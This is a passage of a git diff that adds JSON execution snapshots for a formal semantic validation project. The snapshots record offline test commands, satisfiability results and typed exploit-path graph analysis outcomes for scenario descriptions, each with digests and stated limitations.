"replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "c7eb71ea701eab0394b16181954590225f15d781", + "source_state": { + "base_revision": "c7eb71ea701eab0394b16181954590225f15d781", + "checkout_state": "modified", + "implementation_digest": "21a7e470b979d2fd7feb721af31af7106754645eaaca78b8aadb4415959b46fc", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v32.json b/docs/research/formal-semantic-validation/execution-snapshot-v32.json new file mode 100644 index 000000000..49597cc29 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v32.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1183-execution-v31", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v31.json", + "release_revision": "32.0.0", + "release_sha256": "c21fb3d252b94384ff5a085c11f3bb0cf05410ba4faa73f4f268d883235e27db" + }, + "captured_at": "2026-09-18T07:14:22+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1015-execution-v32", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1015-execution-v32", + "limitations": [ 